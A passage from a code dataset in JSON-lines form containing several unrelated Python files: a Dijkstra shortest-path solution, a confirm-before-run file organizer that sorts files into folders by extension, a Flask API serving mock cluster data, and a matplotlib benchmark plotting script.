int(input())\r\ngraph = [[] for _ in range(N+1)]\r\ndistance = [INF] * (N+1)\r\nfor _ in range(M):\r\n a, b, c = map(int, input().strip().split())\r\n graph[a].append([b, c])\r\nstart, end = map(int, input().strip().split())\r\n\r\ndef dijkstra(start):\r\n q = []\r\n heapq.heappush(q, (0, start))\r\n distance[start] = 0\r\n while q:\r\n dist, now = heapq.heappop(q)\r\n if distance[now] < dist:\r\n continue\r\n for i in graph[now]:\r\n cost = dist + i[1]\r\n if cost < distance[i[0]]:\r\n distance[i[0]] = cost\r\n heapq.heappush(q, (cost, i[0]))\r\n return distance\r\n\r\nresult = dijkstra(start)\r\nprint(result[end])","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"1000~1999/1916.py","file_name":"1916.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10403280345","text":"import os\nfrom time import sleep\n\n# ALL THE EXT DATABASES\nimg_ext = [\".img\", \".png\", \".jpg\", \".raw\"]\ndoc_ext = [\n \".doc\",\n \".htm\",\n \".odt\",\n \".pdf\",\n \".xls\",\n \".xlsx\",\n \".ods\",\n \".ppt\",\n \".txt\",\n]\nvideo_ext = [\n \".webm\",\n \".mpg\",\n \"mp2\",\n \".mpeg\",\n \".mpe\",\n \".mpv\",\n \".ogg\",\n \".mp4\",\n \".m4p\",\n \".m4v\",\n \".avi\",\n \".wmv\",\n \".mov\",\n \".qt\",\n \".flv\",\n \".swf\",\n]\naudio_ext = [\"m4a\", \"flac\", \"mp3\", \"mp4\", \"wav\", \"wma\", \"aac\"]\n\n# FILE LIST\nfiles = os.listdir()\n\n# ALL FUNCTIONS\ndef arrange_images():\n print(\"Searching for 'Images' directory\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n if os.path.exists(\"Images\") == False:\n print(\"Not Found !!\\nSo creating\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n os.mkdir(\"Images\")\n print(\"Done!!\")\n else:\n print(\"Found !!\")\n images = [file for file in files if os.path.splitext(file)[1].lower() in img_ext]\n for item in images:\n os.replace(item, f\"Images/{item}\")\n print(f\"Successfully Moved {len(images)} image files in 'Images' folder\\n\")\n\n\ndef arrange_docs():\n print(\"Searching for 'Documents' directory\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n if os.path.exists(\"Documents\") == False:\n print(\"Not Found !!\\nSo creating\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n os.mkdir(\"Documents\")\n print(\"Done!!\")\n else:\n print(\"Found !!\")\n documents = [file for file in files if os.path.splitext(file)[1].lower() in doc_ext]\n for item in documents:\n os.replace(item, f\"Documents/{item}\")\n print(f\"Successfully Moved {len(documents)} document files in 'Documents' folder\\n\")\n\n\ndef arrange_videos():\n print(\"Searching for 'Videos' directory\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n if os.path.exists(\"Videos\") == False:\n print(\"Not Found !!\\nSo creating\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n os.mkdir(\"Videos\")\n print(\"Done !!\")\n else:\n print(\"Found !!\")\n videos = [file for file in files if os.path.splitext(file)[1].lower() in video_ext]\n # print(\"Videos : \", videos)\n for item in videos:\n os.replace(item, f\"Videos/{item}\")\n print(f\"Successfully Moved {len(videos)} videos files in 'Videos' folder\\n\")\n\n\ndef arrange_audios():\n print(\"Searching for 'Audios' directory\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n if os.path.exists(\"Audios\") == False:\n print(\"Not Found !!\\nSo creating\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n os.mkdir(\"Audios\")\n print(\"Done !!\")\n else:\n print(\"Found !!\")\n audios = [file for file in files if os.path.splitext(file)[1].lower() in audio_ext]\n # print(\"Audios : \", audios)\n for item in audios:\n os.replace(item, f\"Audios/{item}\")\n print(f\"Successfully Moved {len(audios)} audios files in 'Audios' folder\\n\")\n\n\ndef arrange_other():\n print(\"Searching for 'Others' directory\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n others_ext = []\n for file in files:\n ext = os.path.splitext(file)[1].lower()\n if (\n (ext not in img_ext)\n and (ext not in doc_ext)\n and (ext not in video_ext)\n and (ext not in audio_ext)\n and os.path.isfile(file)\n ):\n others_ext.append(file)\n if os.path.exists(\"Others\") == False:\n print(\"Not Found !!\\nSo creating\", end=\"\")\n for i in range(10):\n print(\".\", end=\"\")\n sleep(0.2)\n os.mkdir(\"Others\")\n print(\"Done !!\")\n else:\n print(\"Found !!\")\n # print(\"Others : \", others_ext)\n for item in others_ext:\n os.replace(item, f\"Others/{item}\")\n print(f\"Successfully Moved {len(others_ext)} others files in 'Others' folder\\n\")\n\n\nif __name__ == \"__main__\":\n print(\n \"\\n\\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx WELCOME TO ORGANIZER xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n )\n print(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tMade by Biswajit Mishra\")\n print(\n \"\\n\\nThis is a oganizer program which will orgranize all the mess in your system\\n\"\n )\n while True:\n user_choice = input(\"Press 'Enter' to start else press any key to exit : \")\n if user_choice == \"\":\n print(f\"\\nATTENTION !!\\nCurrent working directory is : {os.getcwd()}\\n\")\n confirm = input(\"Press 'y\\Y' to confirm : \")\n if confirm == \"y\" or confirm == \"Y\":\n print(\"OK BOSS\\n\")\n arrange_images()\n arrange_docs()\n arrange_videos()\n arrange_audios()\n arrange_other()\n print(\"\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t THANKS FOR CHOOSING ORGANIZER ^_^\")\n print(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t #be_organized ✌️\")\n else:\n continue\n else:\n print(\"\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t THANKS FOR CHOOSING ORGANIZER ^_^\")\n print(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t #be_organized ✌️\")\n break\n","repo_name":"abhitrueprogrammer/Python","sub_path":"Projects/THE_ORGANIZER.py","file_name":"THE_ORGANIZER.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"6339142184","text":"from flask import Blueprint, jsonify\nfrom flask_cors import cross_origin\nfrom flask_api import status\n\nfrom api import mock\nfrom api.consts import API_VERSION\n\napi_bp = Blueprint('/api_bp', __name__)\n\n\n@api_bp.route('/')\ndef hello_json():\n print()\n return jsonify({'Json sagt': 'Hallo, I bims der Json.'}), status.HTTP_200_OK\n\n\n@api_bp.route('/version', methods=['GET'])\ndef get_api_version():\n return jsonify({'Json sagt': API_VERSION}), status.HTTP_200_OK\n\n\n@api_bp.route(f'/api/{API_VERSION}/cluster/', methods=['GET'])\n@cross_origin(allow_headers=['Content-Type', 'Authorization'],\n methods=['GET', 'OPTIONS'],\n expose_headers=['Content-Type', 'Authorization', 'Access-Control-Allow-Headers', 'Origin', 'Accept',\n 'Access-Control-Allow-Origin', 'X-Requested-With', 'Access-Control-Request-Headers'],\n supports_credentials=True,\n origins=['http://localhost:8086'])\ndef get_cluster_info(slug):\n cluster_info = mock.cluster_info\n for key, value in cluster_info.items():\n if slug == key:\n data = {slug: value}\n return jsonify(data), status.HTTP_200_OK\n return jsonify({'error': 'not found'}), status.HTTP_404_NOT_FOUND\n\n\n@api_bp.route(f'/api/{API_VERSION}/webapps/', methods=['GET'])\n@cross_origin(allow_headers=['Content-Type', 'Authorization', 'Access-Control-Allow-Origin'],\n methods=['GET', 'OPTIONS'],\n expose_headers=['Content-Type', 'Authorization', 'Access-Control-Allow-Headers', 'Origin', 'Accept',\n 'Access-Control-Allow-Origin', 'X-Requested-With', 'Access-Control-Request-Headers'],\n supports_credentials=True,\n origins=['http://localhost:8086'])\ndef get_webapp(id):\n webapps = mock.webapps\n webapp = next((webapp for webapp in webapps if webapp['id'] == id), None)\n if webapp:\n data = {\"link_name\": webapp.get('link_name')}, {\"link_url\": webapp.get('link_url')}\n return jsonify(data), status.HTTP_200_OK\n return jsonify({'error': 'bad request'}), status.HTTP_400_BAD_REQUEST\n\n\n@api_bp.route(f'/api/{API_VERSION}/groups/', methods=['GET'])\n@cross_origin(allow_headers=['Content-Type', 'Authorization'],\n methods=['GET', 'OPTIONS'],\n expose_headers=['Content-Type', 'Authorization', 'Access-Control-Allow-Headers', 'Origin', 'Accept',\n 'Access-Control-Allow-Origin', 'X-Requested-With', 'Access-Control-Request-Headers'],\n supports_credentials=True,\n origins=['http://localhost:8086'])\ndef get_group(id):\n groups = mock.groups\n group = next((group for group in groups if group['id'] == id), None)\n if group:\n data = {\"name\": group.get('group_name')}\n return jsonify(data), status.HTTP_200_OK\n return jsonify({'error': 'bad request'}), status.HTTP_400_BAD_REQUEST\n","repo_name":"kubeportal/kubeportal-api-dev","sub_path":"api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20205844699","text":"import h5py\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ntime_1 = {}\nwith h5py.File('out_1.h5', 'r') as f:\n for name in f:\n time_1[name] = f[name].value\n\ncolors = {'build': 'C0', 'solve': 'C1', 'flux': 'C2', 'force': 'C3'}\n\n\nspeedup_vals = [4,8,16]\n\nfor speedup in speedup_vals:\n fig, ax = plt.subplots()\n ax.axhline(speedup, color='black')\n\n time_x = {}\n with h5py.File(f'out_{speedup}.h5', 'r') as f:\n for name in f:\n time_x[name] = f[name].value\n\n Nparticles = f.attrs['Nparticles']\n\n for name in time_x.keys():\n ax.plot(Nparticles, time_1[name]/time_x[name], color=colors[name], label=name)\n\n ax.grid(axis='y')\n ax.set_ylim(ymin=0)\n ax.set(xlabel='number of particles', ylabel='speedup (relative to 1 cpu)')\n ax.set_title(f'Performance of parallized GMT using OpenMP ({speedup} cores)')\n ax.legend()\n\nplt.show()\n","repo_name":"johnaparker/miepy","sub_path":"examples/benchmarks/parallel/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"48"} +{"seq_id":"44232298012","text":"#!/usr/bin/env python\n\n\nimport re\nimport sys\nimport getopt\n\n\ndef print_usage() -> None:\n print(f\"Usage:\\t{sys.argv[0]} [